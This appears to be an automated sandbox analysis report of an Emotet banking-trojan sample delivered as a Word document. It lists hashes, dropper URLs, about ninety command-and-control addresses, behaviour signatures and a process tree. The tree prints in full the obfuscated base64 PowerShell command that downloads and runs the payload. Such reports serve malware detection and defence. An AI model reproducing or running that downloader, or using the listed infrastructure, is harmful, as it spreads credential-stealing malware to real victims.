emotet | 2ff2b97fe6ff9e05818753b7a812ecf084e73ef79386f352ffd6aa1e687839d0

General

Target
Form.doc
Size 217KB
Sample200828-2fxnsfenqs
SHA256 2ff2b97fe6ff9e05818753b7a812ecf084e73ef79386f352ffd6aa1e687839d0
MD5 d46b3248c530af38e13c5e1d2819f524
SHA1 7e68c7a359b55874d42d559a9c86aa88b50e69d2
SHA512 905f0b9a22c975bc06d12548e217e72e2714534a4048ed56d2671cb42b91db8db6359f2a070370cce59fc69e4510d07dbe9c704b203fe6caadc59b93f08bd51c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://blindshade.com/asc-ga/attach/PsysR/
exe.dropper
http://darcyaraya.com/cgi-bin/attach/mjGZ/
exe.dropper
http://desolcasa.com/libraries/vIIrdbnIpR/
exe.dropper
http://pontualpromocoes.com.br/SITE_OLD/attach/WJUj/
exe.dropper
https://s-tech.hu/contactform/FMRA/
exe.dropper
https://toprakmedia.com/file/JZvy/
exe.dropper
http://tohohop.net/bot/file/VcFQqtQn/

Extracted

Family

emotet

C2

190.136.179.102:80
97.107.135.148:8080
94.102.209.63:7080
162.144.42.60:8080
81.214.253.80:443
87.106.231.60:8080
107.161.30.122:8080
66.61.94.36:80
139.59.12.63:8080
203.153.216.178:7080
178.33.167.120:8080
179.62.238.49:80
50.116.78.109:8080
74.208.173.91:8080
113.161.148.81:80
179.5.118.12:80
202.5.47.71:80
91.83.93.103:443
181.113.229.139:443
41.185.29.128:8080
37.205.9.252:7080
197.232.36.108:80
91.75.75.46:80
105.209.235.113:8080
181.137.229.1:80
172.105.78.244:8080
157.7.164.178:8081
190.55.186.229:80
192.163.221.191:8080
37.187.100.220:7080
5.79.70.250:8080
192.241.220.183:8080
168.0.97.6:80
46.32.229.152:8080
115.78.11.155:80
68.183.233.80:8080
190.96.15.50:80
175.29.183.2:80
118.101.24.148:80
157.245.138.101:7080
95.216.205.155:8080
46.105.131.68:8080
188.251.213.180:443
190.53.144.120:80
143.95.101.72:8080
88.249.181.198:443
2.144.244.204:443
177.32.8.85:80
190.212.140.6:80
185.86.148.68:443
54.38.143.245:8080
190.190.15.20:80
189.39.32.161:80
186.227.146.102:80
185.142.236.163:443
201.213.177.139:80
134.209.193.138:443
190.164.75.175:80
77.74.78.80:443
198.57.203.63:8080
103.80.51.61:8080
197.221.158.162:80
173.94.215.84:80
115.79.195.246:80
181.122.154.240:80
172.96.190.154:8080
82.239.200.118:80
81.17.93.134:80
201.235.10.215:80
178.87.171.199:80
24.26.151.3:80
75.127.14.170:8080
71.57.180.213:80
185.208.226.142:8080
177.144.130.105:443
31.146.61.34:80
60.125.114.64:443
188.0.135.237:80
181.126.54.234:80
162.249.220.190:80
220.254.198.228:443
177.94.227.143:80
113.203.250.121:443
37.46.129.215:8080
1.54.67.22:80
45.182.161.17:80
86.98.143.163:80
51.38.201.19:7080
192.210.217.94:8080
195.201.56.70:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1524	200	powersheLL.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	1524	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1348	Btsx8m4p.exe
3776	cdosys.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mscpx32r\cdosys.exe	Btsx8m4p.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 78fa4a175a7dd601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1524	powersheLL.exe
1524	powersheLL.exe
1524	powersheLL.exe
3776	cdosys.exe
3776	cdosys.exe
3776	cdosys.exe
3776	cdosys.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3264	svchost.exe
Token: SeCreatePagefilePrivilege	3264	svchost.exe
Token: SeDebugPrivilege	1524	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
1348	Btsx8m4p.exe
1348	Btsx8m4p.exe
3776	cdosys.exe
3776	cdosys.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 1348	1524	powersheLL.exe	79
PID 1524 wrote to memory of 1348	1524	powersheLL.exe	79
PID 1524 wrote to memory of 1348	1524	powersheLL.exe	79
PID 1348 wrote to memory of 3776	1348	Btsx8m4p.exe	81
PID 1348 wrote to memory of 3776	1348	Btsx8m4p.exe	81
PID 1348 wrote to memory of 3776	1348	Btsx8m4p.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Form.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3264

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAG0AOQBpAHMAYQB0AD0AKAAoACcARQAnACsAJwA5AGcAJwArACcANwBrAGcAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AcABcAHcAbwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAFIAYABJAFQAWQBgAHAAYABSAGAATwBUAE8AYwBPAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIALAAnACsAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwArACgAJwAxADEALAAgACcAKwAnAHQAbABzACcAKQApADsAJABPAGgAMABzAHgANAAxACAAPQAgACgAJwBCACcAKwAoACcAdABzAHgAOABtACcAKwAnADQAcAAnACkAKQA7ACQAQgB6AHUAawBlAGwAaQA9ACgAKAAnAFoAcABvAHUAMgAnACsAJwByACcAKQArACcAagAnACkAOwAkAEgAOQBnAGkAdwBxADkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAZQBYAE4AdwAnACsAJwBvACcAKQArACcAcgBkACcAKwAoACcAZQBYAE4AJwArACcAMgAnACkAKwAoACcAMAAnACsAJwAxADkAZQBYACcAKwAnAE4AJwApACkALgAiAFIAZQBwAGAATABgAEEAQwBlACIAKAAoAFsAYwBoAEEAUgBdADEAMAAxACsAWwBjAGgAQQBSAF0AOAA4ACsAWwBjAGgAQQBSAF0ANwA4ACkALABbAFMAVABSAEkATgBHAF0AWwBjAGgAQQBSAF0AOQAyACkAKQArACQATwBoADAAcwB4ADQAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWABjAHkAawBjAGUAbwA9ACgAJwBLACcAKwAnAHEAJwArACgAJwBkAGwAJwArACcAZABiADcAJwApACkAOwAkAEIAYgB0ADMAdQBkAHYAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAQwBMAGkAZQBuAHQAOwAkAFcAaABxAGoAMwBqAHcAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACkAKwAoACcALwBiAGwAaQBuACcAKwAnAGQAJwApACsAJwBzACcAKwAnAGgAJwArACgAJwBhAGQAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGEAcwAnACkAKwAnAGMAJwArACgAJwAtAGcAJwArACcAYQAnACkAKwAoACcALwAnACsAJwBhAHQAJwApACsAJwB0ACcAKwAoACcAYQBjAGgALwBQAHMAJwArACcAeQBzACcAKwAnAFIALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwBkACcAKwAnAGEAcgBjAHkAYQByACcAKwAnAGEAeQAnACkAKwAoACcAYQAuAGMAJwArACcAbwBtACcAKwAnAC8AYwAnACkAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpAG4AJwArACcALwBhAHQAdABhACcAKQArACgAJwBjAGgALwBtACcAKwAnAGoAJwApACsAKAAnAEcAWgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAZABlAHMAJwApACsAJwBvAGwAJwArACcAYwBhACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvAG0ALwBsAGkAJwApACsAJwBiAHIAJwArACgAJwBhAHIAaQBlACcAKwAnAHMALwAnACsAJwB2AEkASQAnACkAKwAoACcAcgAnACsAJwBkAGIAbgAnACkAKwAnAEkAJwArACcAcAAnACsAKAAnAFIALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoALwAvACcAKQArACgAJwBwAG8AbgB0AHUAJwArACcAYQBsACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAbwBtACcAKQArACgAJwBvAGMAJwArACcAbwBlAHMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALgBiACcAKwAnAHIALwAnACsAJwBTAEkAVABFAF8AJwArACcATwBMAEQAJwApACsAJwAvAGEAJwArACgAJwB0ACcAKwAnAHQAYQAnACkAKwAoACcAYwAnACsAJwBoAC8AVwBKACcAKQArACgAJwBVAGoAJwArACcALwAqAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAcwAtACcAKwAnAHQAJwApACsAJwBlACcAKwAnAGMAJwArACcAaAAuACcAKwAoACcAaAB1AC8AYwBvACcAKwAnAG4AJwApACsAJwB0AGEAJwArACgAJwBjAHQAZgBvAHIAbQAnACsAJwAvACcAKwAnAEYATQBSAEEAJwApACsAJwAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AdAAnACkAKwAoACcAbwBwACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAawBtACcAKQArACgAJwBlAGQAJwArACcAaQAnACkAKwAoACcAYQAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGYAaQAnACkAKwAnAGwAJwArACcAZQAnACsAKAAnAC8ASgBaAHYAJwArACcAeQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAdAAnACsAJwBvAGgAJwApACsAJwBvACcAKwAoACcAaABvACcAKwAnAHAALgBuACcAKwAnAGUAdAAvAGIAbwAnACkAKwAnAHQALwAnACsAKAAnAGYAJwArACcAaQBsAGUAJwArACcALwBWAGMAJwArACcARgBRAHEAJwArACcAdABRAG4ALwAnACkAKQAuACIAUwBQAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOADAAcgBsAF8AXwBiAD0AKAAoACcAWQA5AGsAJwArACcAMgBfACcAKQArACcAYQBtACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeAA5AHkAMQByADAAIABpAG4AIAAkAFcAaABxAGoAMwBqAHcAKQB7AHQAcgB5AHsAJABCAGIAdAAzAHUAZAB2AC4AIgBEAG8AVwBuAEwATwBhAGQAYABGAGkAYABsAEUAIgAoACQAQQB4ADkAeQAxAHIAMAAsACAAJABIADkAZwBpAHcAcQA5ACkAOwAkAEYAaABhAGoAZQBmAGkAPQAoACgAJwBJADEANwAnACsAJwB6ACcAKQArACcAaAAnACsAJwA5ADYAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAOQBnAGkAdwBxADkAKQAuACIATABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMAA1ADAAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQASAA5AGcAaQB3AHEAOQApADsAJABXAGIAMwBhADAAcAA4AD0AKAAoACcAQQBtAGUAJwArACcANQAnACsAJwB4ADYAJwApACsAJwBvACcAKQA7AGIAcgBlAGEAawA7ACQAQgBjADcAYgB3AHAAbgA9ACgAKAAnAE8AXwAnACsAJwBqAGUAJwApACsAKAAnAG4AcQAnACsAJwBhACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGgAZgAwAHUAYQBqAD0AKAAoACcAQwAnACsAJwBpAGQAJwApACsAJwA1AGQAJwArACcAZAB6ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\SysWOW64\mscpx32r\cdosys.exe
    "C:\Windows\SysWOW64\mscpx32r\cdosys.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3776

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1348-13-0x00000000022D0000-0x00000000022DC000-memory.dmp

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memory/1524-8-0x000001AE10CE0000-0x000001AE10CE1000-memory.dmp

Download

memory/1524-7-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

Download

memory/1524-9-0x000001AE28FF0000-0x000001AE28FF1000-memory.dmp

Download

memory/3776-16-0x0000000002170000-0x000000000217C000-memory.dmp

Download

memory/3828-6-0x0000018BF1F93000-0x0000018BF1FA7000-memory.dmp

Download

memory/3828-0-0x00007FFA40310000-0x00007FFA409D6000-memory.dmp

Download

memory/3828-5-0x0000018BF1F93000-0x0000018BF1FA7000-memory.dmp

Download

memory/3828-4-0x0000018BF1F93000-0x0000018BF1FA7000-memory.dmp

Download

memory/3828-3-0x0000018BF1EB6000-0x0000018BF1EB9000-memory.dmp

Download

memory/3828-2-0x0000018BF1EB6000-0x0000018BF1EB9000-memory.dmp

Download

memory/3828-1-0x0000018BF1EB3000-0x0000018BF1EB6000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads